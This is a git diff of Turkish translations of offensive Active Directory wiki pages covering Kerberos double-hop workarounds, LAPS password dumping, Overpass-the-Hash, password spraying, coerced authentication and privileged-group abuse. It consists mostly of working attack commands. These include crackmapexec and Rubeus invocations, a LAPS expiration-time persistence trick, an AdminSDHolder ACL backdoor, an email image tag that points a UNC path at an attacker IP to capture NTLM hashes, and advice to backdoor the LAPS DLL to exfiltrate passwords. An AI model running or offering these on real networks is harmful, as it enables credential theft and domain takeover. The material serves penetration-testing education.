Bu problemi önlemenin bir diğer yolu, [**belirgin şekilde güvensiz**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) olan **Kimlik Bilgisi Güvenlik Destek Sağlayıcısı**dır. Microsoft'tan:
|
||||
Bu sorunu önlemenin bir diğer yolu, [**belirgin şekilde güvensiz**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) olan **Credential Security Support Provider**'dır. Microsoft'tan:
|
||||
|
||||
> CredSSP kimlik doğrulaması, kullanıcı kimlik bilgilerini yerel bilgisayardan uzak bir bilgisayara devreder. Bu uygulama, uzak işlemin güvenlik riskini artırır. Uzak bilgisayar ele geçirilirse, kimlik bilgileri ona iletildiğinde, kimlik bilgileri ağ oturumunu kontrol etmek için kullanılabilir.
|
||||
> CredSSP kimlik doğrulaması, kullanıcı kimlik bilgilerini yerel bilgisayardan uzak bir bilgisayara devreder. Bu uygulama, uzak işlemin güvenlik riskini artırır. Uzak bilgisayar tehlikeye girerse, kimlik bilgileri ona iletildiğinde, bu kimlik bilgileri ağ oturumunu kontrol etmek için kullanılabilir.
|
||||
|
||||
Güvenlik endişeleri nedeniyle, **CredSSP**'nin üretim sistemlerinde, hassas ağlarda ve benzeri ortamlarda devre dışı bırakılması şiddetle önerilir. **CredSSP**'nin etkin olup olmadığını belirlemek için `Get-WSManCredSSP` komutu çalıştırılabilir. Bu komut, **CredSSP durumunu kontrol etmeye** olanak tanır ve **WinRM** etkinse uzaktan da çalıştırılabilir.
|
||||
```powershell
|
||||
Güvenlik endişeleri nedeniyle, **CredSSP**'nin üretim sistemlerinde, hassas ağlarda ve benzeri ortamlarda devre dışı bırakılması şiddetle önerilir. **CredSSP**'nin etkin olup olmadığını belirlemek için `Get-WSManCredSSP` komutu çalıştırılabilir. Bu komut, **CredSSP durumunu kontrol etmeye** olanak tanır ve **WinRM** etkinse uzaktan bile çalıştırılabilir.
|
||||
```bash
|
||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||
Get-WSManCredSSP
|
||||
}
|
||||
@ -37,18 +38,18 @@ Get-WSManCredSSP
|
||||
### Invoke Command
|
||||
|
||||
Çift sıçrama sorununu ele almak için, iç içe bir `Invoke-Command` içeren bir yöntem sunulmaktadır. Bu, sorunu doğrudan çözmez ancak özel yapılandırmalara ihtiyaç duymadan bir çözüm sunar. Bu yaklaşım, bir komutun (`hostname`) birincil saldırı makinesinden veya ilk sunucu ile daha önce kurulmuş bir PS-Session üzerinden bir ikincil sunucuda çalıştırılmasına olanak tanır. İşte nasıl yapıldığı:
|
||||
```powershell
|
||||
```bash
|
||||
$cred = Get-Credential ta\redsuit
|
||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||
}
|
||||
```
|
||||
Alternatif olarak, ilk sunucu ile bir PS-Session kurmak ve `$cred` kullanarak `Invoke-Command` çalıştırmak, görevleri merkezi hale getirmek için önerilmektedir.
|
||||
Alternatif olarak, ilk sunucu ile bir PS-Session kurmak ve `$cred` kullanarak `Invoke-Command` çalıştırmak, görevleri merkezileştirmek için önerilmektedir.
|
||||
|
||||
### PSSession Yapılandırmasını Kaydet
|
||||
|
||||
Çift sıçrama sorununu aşmanın bir çözümü, `Enter-PSSession` ile `Register-PSSessionConfiguration` kullanmaktır. Bu yöntem, `evil-winrm`'den farklı bir yaklaşım gerektirir ve çift sıçrama kısıtlamasından etkilenmeyen bir oturum sağlar.
|
||||
```powershell
|
||||
Çift atlama sorununu aşmanın bir çözümü, `Enter-PSSession` ile `Register-PSSessionConfiguration` kullanmaktır. Bu yöntem, `evil-winrm`'den farklı bir yaklaşım gerektirir ve çift atlama kısıtlamasından etkilenmeyen bir oturum sağlar.
|
||||
```bash
|
||||
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
|
||||
Restart-Service WinRM
|
||||
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
|
||||
@ -56,7 +57,7 @@ klist
|
||||
```
|
||||
### PortForwarding
|
||||
|
||||
Yerel yöneticiler için ara hedefte, port yönlendirme, isteklerin nihai bir sunucuya gönderilmesine olanak tanır. `netsh` kullanarak, yönlendirilmiş portu izin vermek için bir Windows güvenlik duvarı kuralının yanı sıra port yönlendirme için bir kural eklenebilir.
|
||||
Yerel yöneticiler için ara hedefte, port yönlendirme, isteklerin nihai bir sunucuya gönderilmesine olanak tanır. `netsh` kullanarak, yönlendirilmiş portu izin vermek için bir Windows güvenlik duvarı kuralıyla birlikte port yönlendirme için bir kural eklenebilir.
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||
@ -69,15 +70,15 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
||||
```
|
||||
### OpenSSH
|
||||
|
||||
İlk sunucuya OpenSSH yüklemek, özellikle jump box senaryoları için yararlı olan double-hop sorununa bir çözüm sağlar. Bu yöntem, Windows için OpenSSH'nin CLI ile yüklenmesini ve yapılandırılmasını gerektirir. Parola Kimlik Doğrulaması için yapılandırıldığında, bu, aracılık sunucusunun kullanıcı adına bir TGT almasına olanak tanır.
|
||||
İlk sunucuya OpenSSH yüklemek, özellikle atlama kutusu senaryoları için yararlı olan double-hop sorununa bir çözüm sağlar. Bu yöntem, Windows için OpenSSH'nin CLI ile yüklenmesini ve yapılandırılmasını gerektirir. Şifre Kimlik Doğrulaması için yapılandırıldığında, bu, aracılık sunucusunun kullanıcı adına bir TGT almasına olanak tanır.
|
||||
|
||||
#### OpenSSH Yükleme Adımları
|
||||
#### OpenSSH Kurulum Adımları
|
||||
|
||||
1. En son OpenSSH sürüm zip dosyasını indirin ve hedef sunucuya taşıyın.
|
||||
2. Zip dosyasını açın ve `Install-sshd.ps1` betiğini çalıştırın.
|
||||
3. Port 22'yi açmak için bir güvenlik duvarı kuralı ekleyin ve SSH hizmetlerinin çalıştığını doğrulayın.
|
||||
|
||||
`Connection reset` hatalarını çözmek için, OpenSSH dizininde herkesin okuma ve çalıştırma erişimine izin vermek için izinlerin güncellenmesi gerekebilir.
|
||||
`Connection reset` hatalarını çözmek için, OpenSSH dizininde herkesin okuma ve çalıştırma erişimine izin vermek üzere izinlerin güncellenmesi gerekebilir.
|
||||
```bash
|
||||
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||
```
|
||||
|
||||
@ -5,9 +5,9 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Local Administrator Password Solution (LAPS), **yönetici şifreleri**nin **eşsiz, rastgele ve sık sık değiştirilen** bir şekilde alan adı ile bağlı bilgisayarlara uygulandığı bir sistemi yönetmek için kullanılan bir araçtır. Bu şifreler, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca Erişim Kontrol Listeleri (ACL'ler) aracılığıyla izin verilmiş kullanıcılara erişilebilir. İstemciden sunucuya şifre iletimlerinin güvenliği, **Kerberos sürüm 5** ve **Gelişmiş Şifreleme Standardı (AES)** kullanılarak sağlanır.
|
||||
Local Administrator Password Solution (LAPS), **benzersiz, rastgele ve sık sık değiştirilen** **yönetici parolalarının** etki alanına bağlı bilgisayarlara uygulandığı bir sistemi yönetmek için kullanılan bir araçtır. Bu parolalar, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca Erişim Kontrol Listeleri (ACL'ler) aracılığıyla izin verilmiş kullanıcılara erişilebilir. İstemciden sunucuya parolanın iletim güvenliği, **Kerberos sürüm 5** ve **Gelişmiş Şifreleme Standardı (AES)** kullanılarak sağlanır.
|
||||
|
||||
Alan adının bilgisayar nesnelerinde, LAPS'ın uygulanması iki yeni niteliğin eklenmesiyle sonuçlanır: **`ms-mcs-AdmPwd`** ve **`ms-mcs-AdmPwdExpirationTime`**. Bu nitelikler, sırasıyla **düz metin yönetici şifresini** ve **şifrenin son kullanma tarihini** saklar.
|
||||
Etki alanının bilgisayar nesnelerinde, LAPS'ın uygulanması, iki yeni niteliğin eklenmesiyle sonuçlanır: **`ms-mcs-AdmPwd`** ve **`ms-mcs-AdmPwdExpirationTime`**. Bu nitelikler, sırasıyla **düz metin yönetici parolasını** ve **sona erme zamanını** saklar.
|
||||
|
||||
### Aktif olup olmadığını kontrol et
|
||||
```bash
|
||||
@ -26,8 +26,8 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
|
||||
|
||||
Ham LAPS politikasını `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` adresinden **indirebilir** ve ardından bu dosyayı insan tarafından okunabilir formata dönüştürmek için [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) paketinden **`Parse-PolFile`** kullanılabilir.
|
||||
|
||||
Ayrıca, erişim sağladığımız bir makinede yüklüyse **yerel LAPS PowerShell cmdlet'leri** de kullanılabilir:
|
||||
```powershell
|
||||
Ayrıca, erişim sağladığımız bir makinede yüklüyse **yerel LAPS PowerShell cmdlet'leri** kullanılabilir:
|
||||
```bash
|
||||
Get-Command *AdmPwd*
|
||||
|
||||
CommandType Name Version Source
|
||||
@ -48,7 +48,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
```
|
||||
**PowerView** ayrıca **şifrenin kimler tarafından okunabileceğini ve okunmasını** bulmak için de kullanılabilir:
|
||||
```powershell
|
||||
```bash
|
||||
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
|
||||
@ -58,9 +58,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
|
||||
### LAPSToolkit
|
||||
|
||||
The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) LAPS'in birkaç işlevle sayımını kolaylaştırır.\
|
||||
Bunlardan biri, **LAPS etkin olan tüm bilgisayarlar için `ExtendedRights`'ı** ayrıştırmaktır. Bu, genellikle korunan gruplardaki kullanıcılar olan **LAPS şifrelerini okumak için özel olarak yetkilendirilmiş** **grupları** gösterecektir.\
|
||||
Bunlardan biri, **LAPS etkin olan tüm bilgisayarlar için `ExtendedRights`**'ı ayrıştırmaktır. Bu, genellikle korunan gruplardaki kullanıcılar olan **LAPS şifrelerini okumak için özel olarak yetkilendirilmiş** **grupları** gösterecektir.\
|
||||
Bir **hesap**, bir bilgisayarı bir domaine **katıldığında**, o ana bilgisayar üzerinde `All Extended Rights` alır ve bu hak, **hesaba** **şifreleri okuma** yeteneği verir. Sayım, bir ana bilgisayarda LAPS şifresini okuyabilen bir kullanıcı hesabını gösterebilir. Bu, LAPS şifrelerini okuyabilen **belirli AD kullanıcılarını hedeflememize** yardımcı olabilir.
|
||||
```powershell
|
||||
```bash
|
||||
# Get groups that can read passwords
|
||||
Find-LAPSDelegatedGroups
|
||||
|
||||
@ -85,7 +85,7 @@ DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
|
||||
```
|
||||
## **Dumping LAPS Passwords With Crackmapexec**
|
||||
|
||||
Eğer bir powershell erişiminiz yoksa, bunu LDAP kullanarak uzaktan bu yetkiyi kötüye kullanabilirsiniz.
|
||||
Eğer bir powershell erişiminiz yoksa, bu yetkiyi LDAP üzerinden uzaktan kötüye kullanabilirsiniz.
|
||||
```
|
||||
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
|
||||
```
|
||||
@ -103,8 +103,8 @@ Password: 2Z@Ae)7!{9#Cq
|
||||
|
||||
### **Son Kullanma Tarihi**
|
||||
|
||||
Bir kez yönetici olduğunuzda, **şifreleri elde etmek** ve bir makinenin **şifresini güncellemesini engellemek** için **son kullanma tarihini geleceğe ayarlamak** mümkündür.
|
||||
```powershell
|
||||
Bir yönetici olduğunda, **şifreleri elde etmek** ve bir makinenin **şifresini güncellemesini engellemek** için **son kullanma tarihini geleceğe ayarlamak** mümkündür.
|
||||
```bash
|
||||
# Get expiration time
|
||||
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
||||
|
||||
@ -117,9 +117,9 @@ Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="2326099
|
||||
|
||||
### Arka Kapı
|
||||
|
||||
LAPS'ın orijinal kaynak kodu [burada](https://github.com/GreyCorbel/admpwd) bulunabilir, bu nedenle kodda (örneğin `Main/AdmPwd.PS/Main.cs` içindeki `Get-AdmPwdPassword` yönteminde) bir arka kapı koymak mümkündür; bu, bir şekilde **yeni şifreleri dışarı sızdıracak veya bir yere depolayacaktır**.
|
||||
LAPS'ın orijinal kaynak kodu [burada](https://github.com/GreyCorbel/admpwd) bulunabilir, bu nedenle kodda bir arka kapı koymak mümkündür (örneğin `Main/AdmPwd.PS/Main.cs` içindeki `Get-AdmPwdPassword` yönteminde) bu bir şekilde **yeni şifreleri dışarı sızdıracak veya bir yere kaydedecektir**.
|
||||
|
||||
Sonra, yeni `AdmPwd.PS.dll` dosyasını derleyin ve bunu `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` konumundaki makineye yükleyin (ve değiştirme zamanını değiştirin).
|
||||
Sonra, yeni `AdmPwd.PS.dll` dosyasını derleyin ve bunu `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` konumuna yükleyin (ve değiştirme zamanını değiştirin).
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
@ -5,9 +5,9 @@
|
||||
|
||||
## Overpass The Hash/Pass The Key (PTK)
|
||||
|
||||
**Overpass The Hash/Pass The Key (PTK)** saldırısı, geleneksel NTLM protokolünün kısıtlandığı ve Kerberos kimlik doğrulamasının öncelik kazandığı ortamlara yönelik olarak tasarlanmıştır. Bu saldırı, bir kullanıcının NTLM hash'ini veya AES anahtarlarını kullanarak Kerberos biletleri talep eder ve bu sayede bir ağ içindeki kaynaklara yetkisiz erişim sağlar.
|
||||
**Overpass The Hash/Pass The Key (PTK)** saldırısı, geleneksel NTLM protokolünün kısıtlandığı ve Kerberos kimlik doğrulamasının öncelikli olduğu ortamlarda tasarlanmıştır. Bu saldırı, bir kullanıcının NTLM hash'ini veya AES anahtarlarını kullanarak Kerberos biletleri talep eder ve bu sayede bir ağ içindeki kaynaklara yetkisiz erişim sağlar.
|
||||
|
||||
Bu saldırıyı gerçekleştirmek için ilk adım, hedef kullanıcının hesabının NTLM hash'ini veya şifresini edinmektir. Bu bilgiyi güvence altına aldıktan sonra, hesap için bir Ticket Granting Ticket (TGT) alınabilir ve bu da saldırganın kullanıcının izinleri olan hizmetlere veya makinelere erişmesine olanak tanır.
|
||||
Bu saldırıyı gerçekleştirmek için ilk adım, hedef kullanıcının hesabının NTLM hash'ini veya şifresini edinmektir. Bu bilgiyi güvence altına aldıktan sonra, hesabın bir Ticket Granting Ticket (TGT) alması sağlanabilir ve bu da saldırganın kullanıcının izinleri olan hizmetlere veya makinelere erişmesine olanak tanır.
|
||||
|
||||
İşlem, aşağıdaki komutlarla başlatılabilir:
|
||||
```bash
|
||||
@ -30,6 +30,15 @@ Operasyonel güvenliğe uymak ve AES256 kullanmak için aşağıdaki komut uygul
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
|
||||
```
|
||||
## Gizli versiyon
|
||||
|
||||
> [!WARNING]
|
||||
> Her oturum açma seansı aynı anda yalnızca bir aktif TGT'ye sahip olabilir, bu yüzden dikkatli olun.
|
||||
|
||||
1. Cobalt Strike'dan **`make_token`** ile yeni bir oturum açma seansı oluşturun.
|
||||
2. Ardından, mevcut olanı etkilemeden yeni oturum açma seansı için Rubeus kullanarak bir TGT oluşturun.
|
||||
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
|
||||
|
||||
@ -5,16 +5,16 @@
|
||||
|
||||
## **Şifre Spraying**
|
||||
|
||||
Birçok **geçerli kullanıcı adı** bulduktan sonra, her bir keşfedilen kullanıcı ile en **yaygın şifreleri** deneyebilirsiniz (ortamın şifre politikalarını göz önünde bulundurun).\
|
||||
Birçok **geçerli kullanıcı adı** bulduktan sonra, her bir keşfedilen kullanıcı için en **yaygın şifreleri** denemeye başlayabilirsiniz (ortamın şifre politikalarını göz önünde bulundurun).\
|
||||
**Varsayılan** olarak **minimum** **şifre** **uzunluğu** **7**'dir.
|
||||
|
||||
Yaygın kullanıcı adları listeleri de faydalı olabilir: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
Yaygın kullanıcı adı listeleri de faydalı olabilir: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
|
||||
Birden fazla yanlış şifre denerseniz bazı hesapların kilitlenebileceğini unutmayın (varsayılan olarak 10'dan fazla).
|
||||
|
||||
### Şifre politikasını öğrenme
|
||||
|
||||
Bazı kullanıcı kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **şifre politikasını** **şu şekilde alabilirsiniz**:
|
||||
Eğer bazı kullanıcı kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **şifre politikasını** **şu şekilde alabilirsiniz**:
|
||||
```bash
|
||||
# From Linux
|
||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||
@ -31,7 +31,7 @@ net accounts
|
||||
|
||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||
```
|
||||
### Linux'ten Sömürü (veya hepsi)
|
||||
### Linux'ten (veya tümünden) Sömürü
|
||||
|
||||
- **crackmapexec** kullanarak:
|
||||
```bash
|
||||
@ -69,7 +69,7 @@ done
|
||||
```
|
||||
#### Windows'tan
|
||||
|
||||
- [Rubeus](https://github.com/Zer1t0/Rubeus) brute modülü ile versiyon:
|
||||
- [Rubeus](https://github.com/Zer1t0/Rubeus) brute modülü ile versiyonu:
|
||||
```bash
|
||||
# with a list of users
|
||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||
@ -77,15 +77,15 @@ done
|
||||
# check passwords for all users in current domain
|
||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||
```
|
||||
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) ile (Varsayılan olarak alan kullanıcılarını oluşturabilir ve alanın şifre politikasını alır ve denemeleri buna göre sınırlar):
|
||||
```powershell
|
||||
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) ile (Varsayılan olarak alan kullanıcılarını oluşturabilir ve alanın şifre politikasını alarak denemeleri buna göre sınırlayabilir):
|
||||
```bash
|
||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
- [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) ile
|
||||
```
|
||||
Invoke-SprayEmptyPassword
|
||||
```
|
||||
## Kaba Güç
|
||||
## Brute Force
|
||||
```bash
|
||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||
```
|
||||
|
||||
@ -4,12 +4,12 @@
|
||||
|
||||
## SharpSystemTriggers
|
||||
|
||||
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) **uzaktan kimlik doğrulama tetikleyicileri** içeren bir **koleksiyondur** ve 3. parti bağımlılıkları önlemek için MIDL derleyicisi kullanılarak C# ile kodlanmıştır.
|
||||
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) , 3. parti bağımlılıkları önlemek için MIDL derleyicisi kullanılarak C# ile kodlanmış **uzaktan kimlik doğrulama tetikleyicileri** **koleksiyonu**dur.
|
||||
|
||||
## Spooler Servisi İstismarı
|
||||
|
||||
Eğer _**Print Spooler**_ servisi **etkinse,** bazı bilinen AD kimlik bilgilerini kullanarak Alan Denetleyicisi’nin yazıcı sunucusuna yeni yazdırma görevleri hakkında bir **güncelleme** **talep** edebilirsiniz ve sadece **bildirimi bazı sistemlere göndermesini** söyleyebilirsiniz.\
|
||||
Yazıcı, bildirimi rastgele sistemlere gönderdiğinde, o **sistem** ile **kimlik doğrulaması yapması** gerekir. Bu nedenle, bir saldırgan _**Print Spooler**_ servisini rastgele bir sistemle kimlik doğrulaması yapacak şekilde yönlendirebilir ve bu kimlik doğrulamasında **bilgisayar hesabını** **kullanacaktır**.
|
||||
Eğer _**Print Spooler**_ servisi **etkinse**, bazı bilinen AD kimlik bilgilerini kullanarak Alan Denetleyicisi'nin yazıcı sunucusuna yeni yazdırma işleri hakkında bir **güncelleme** **talep** edebilir ve sadece **bildirimi bazı sistemlere göndermesini** söyleyebilirsiniz.\
|
||||
Yazıcı, bildirimi rastgele sistemlere gönderdiğinde, o **sistem** ile **kimlik doğrulaması yapması** gerekir. Bu nedenle, bir saldırgan _**Print Spooler**_ servisini rastgele bir sistemle kimlik doğrulaması yapacak şekilde yönlendirebilir ve hizmet bu kimlik doğrulamasında **bilgisayar hesabını** **kullanacaktır**.
|
||||
|
||||
### Alan üzerindeki Windows Sunucularını Bulma
|
||||
|
||||
@ -28,7 +28,7 @@ Linux'te rpcdump.py kullanabilir ve MS-RPRN Protokolü'nü arayabilirsiniz.
|
||||
```bash
|
||||
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
||||
```
|
||||
### Servisi rastgele bir ana bilgisayara kimlik doğrulaması yapması için isteyin
|
||||
### Servisten rastgele bir ana bilgisayara karşı kimlik doğrulaması yapmasını isteyin
|
||||
|
||||
[ **SpoolSample'ı buradan**](https://github.com/NotMedic/NetNTLMtoSilverTicket)** derleyebilirsiniz.**
|
||||
```bash
|
||||
@ -53,7 +53,7 @@ https://github.com/p0dalirius/Coercer
|
||||
|
||||
`PrivExchange` saldırısı, **Exchange Server `PushSubscription` özelliğinde** bulunan bir hatanın sonucudur. Bu özellik, herhangi bir posta kutusuna sahip alan kullanıcısının Exchange sunucusunu HTTP üzerinden herhangi bir istemci sağlanan hosta kimlik doğrulaması yapmaya zorlamasına olanak tanır.
|
||||
|
||||
Varsayılan olarak, **Exchange servisi SYSTEM olarak çalışır** ve aşırı ayrıcalıklara sahiptir (özellikle, **2019 Öncesi Kümülatif Güncelleme'de alan üzerinde WriteDacl ayrıcalıklarına sahiptir**). Bu hata, **LDAP'ya bilgi iletimini sağlamak ve ardından alan NTDS veritabanını çıkarmak** için sömürülebilir. LDAP'ya iletim mümkün olmadığında bile, bu hata alan içindeki diğer hostlara iletim ve kimlik doğrulama yapmak için kullanılabilir. Bu saldırının başarılı bir şekilde sömürülmesi, herhangi bir kimlik doğrulaması yapılmış alan kullanıcı hesabıyla Domain Admin'e anında erişim sağlar.
|
||||
Varsayılan olarak, **Exchange servisi SYSTEM olarak çalışır** ve aşırı ayrıcalıklara sahiptir (özellikle, **2019'dan önceki Kümülatif Güncelleme üzerinde WriteDacl ayrıcalıklarına sahiptir**). Bu hata, **LDAP'ye bilgi iletimini sağlamak ve ardından alan NTDS veritabanını çıkarmak** için sömürülebilir. LDAP'ye iletim mümkün olmadığında bile, bu hata alan içindeki diğer hostlara iletim ve kimlik doğrulama yapmak için kullanılabilir. Bu saldırının başarılı bir şekilde sömürülmesi, herhangi bir kimlik doğrulaması yapılmış alan kullanıcı hesabıyla Alan Yöneticisi'ne anında erişim sağlar.
|
||||
|
||||
## Windows İçinde
|
||||
|
||||
@ -90,7 +90,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
|
||||
|
||||
### E-posta ile
|
||||
|
||||
Eğer ele geçirmek istediğiniz bir makineye giriş yapan kullanıcının **e-posta adresini** biliyorsanız, ona sadece **1x1 boyutunda bir resim içeren bir e-posta** gönderebilirsiniz.
|
||||
Eğer ele geçirmek istediğiniz bir makineye giriş yapan kullanıcının **e-posta adresini** biliyorsanız, ona sadece **1x1 piksel boyutunda bir resim içeren bir e-posta** gönderebilirsiniz.
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
@ -102,9 +102,15 @@ Eğer bir bilgisayara MitM saldırısı gerçekleştirebilirseniz ve onun görec
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
## NTLM kimlik doğrulamasını zorlamak ve oltalama için diğer yollar
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
## NTLMv1 Kırma
|
||||
|
||||
Eğer [NTLMv1 zorluklarını yakalayabilirseniz, onları nasıl kıracağınızı buradan okuyun](../ntlm/index.html#ntlmv1-attack).\
|
||||
Eğer [NTLMv1 zorluklarını yakalayabilirseniz, bunları nasıl kıracağınızı buradan okuyun](../ntlm/index.html#ntlmv1-attack).\
|
||||
_NTLMv1'i kırmak için Responder zorluğunu "1122334455667788" olarak ayarlamanız gerektiğini unutmayın._
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,26 +6,26 @@
|
||||
|
||||
- **Yönetici**
|
||||
- **Alan Yöneticileri**
|
||||
- **Kurumsal Yöneticiler**
|
||||
- **Kuruluş Yöneticileri**
|
||||
|
||||
## Hesap Operatörleri
|
||||
|
||||
Bu grup, alan üzerindeki yönetici olmayan hesaplar ve gruplar oluşturma yetkisine sahiptir. Ayrıca, Alan Denetleyicisi'ne (DC) yerel giriş yapılmasını sağlar.
|
||||
Bu grup, alan üzerindeki yönetici olmayan hesaplar ve gruplar oluşturma yetkisine sahiptir. Ayrıca, Alan Denetleyicisi'ne (DC) yerel giriş yapmayı sağlar.
|
||||
|
||||
Bu grubun üyelerini tanımlamak için aşağıdaki komut çalıştırılır:
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||
```
|
||||
Yeni kullanıcı eklemek ve DC01'e yerel giriş yapmak mümkündür.
|
||||
Yeni kullanıcı eklemek ve DC01'e yerel giriş yapmak izinlidir.
|
||||
|
||||
## AdminSDHolder grubu
|
||||
|
||||
**AdminSDHolder** grubunun Erişim Kontrol Listesi (ACL), yüksek ayrıcalıklı gruplar da dahil olmak üzere Active Directory içindeki tüm "korunan gruplar" için izinleri belirlediği için çok önemlidir. Bu mekanizma, yetkisiz değişiklikleri önleyerek bu grupların güvenliğini sağlar.
|
||||
**AdminSDHolder** grubunun Erişim Kontrol Listesi (ACL), Active Directory içindeki tüm "korunan gruplar" için izinleri belirlediğinden kritik öneme sahiptir; bu gruplar arasında yüksek ayrıcalıklı gruplar da bulunmaktadır. Bu mekanizma, yetkisiz değişiklikleri önleyerek bu grupların güvenliğini sağlar.
|
||||
|
||||
Bir saldırgan, **AdminSDHolder** grubunun ACL'sini değiştirerek standart bir kullanıcıya tam izinler verebilir. Bu, o kullanıcıya tüm korunan gruplar üzerinde tam kontrol sağlamış olur. Eğer bu kullanıcının izinleri değiştirilir veya kaldırılırsa, sistemin tasarımı gereği bir saat içinde otomatik olarak geri yüklenir.
|
||||
|
||||
Üyeleri gözden geçirmek ve izinleri değiştirmek için kullanılacak komutlar şunlardır:
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
||||
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
|
||||
@ -36,7 +36,7 @@ Daha fazla bilgi için [ired.team](https://ired.team/offensive-security-experime
|
||||
|
||||
## AD Geri Dönüşüm Kutusu
|
||||
|
||||
Bu gruptaki üyelik, silinmiş Active Directory nesnelerinin okunmasına izin verir, bu da hassas bilgileri ortaya çıkarabilir:
|
||||
Bu gruba üyelik, silinmiş Active Directory nesnelerinin okunmasına izin verir, bu da hassas bilgileri ortaya çıkarabilir:
|
||||
```bash
|
||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||
```
|
||||
@ -46,18 +46,18 @@ DC üzerindeki dosyalara erişim, kullanıcı `Server Operators` grubunun bir pa
|
||||
|
||||
### Yetki Yükseltme
|
||||
|
||||
Sysinternals'tan `PsService` veya `sc` kullanarak, hizmet izinlerini inceleyip değiştirmek mümkündür. Örneğin, `Server Operators` grubu, belirli hizmetler üzerinde tam kontrol sahibi olup, keyfi komutların yürütülmesine ve yetki yükseltmeye olanak tanır:
|
||||
Sysinternals'tan `PsService` veya `sc` kullanarak, hizmet izinlerini inceleyebilir ve değiştirebilirsiniz. Örneğin, `Server Operators` grubu belirli hizmetler üzerinde tam kontrol sahibidir, bu da keyfi komutların çalıştırılmasına ve yetki yükseltmeye olanak tanır:
|
||||
```cmd
|
||||
C:\> .\PsService.exe security AppReadiness
|
||||
```
|
||||
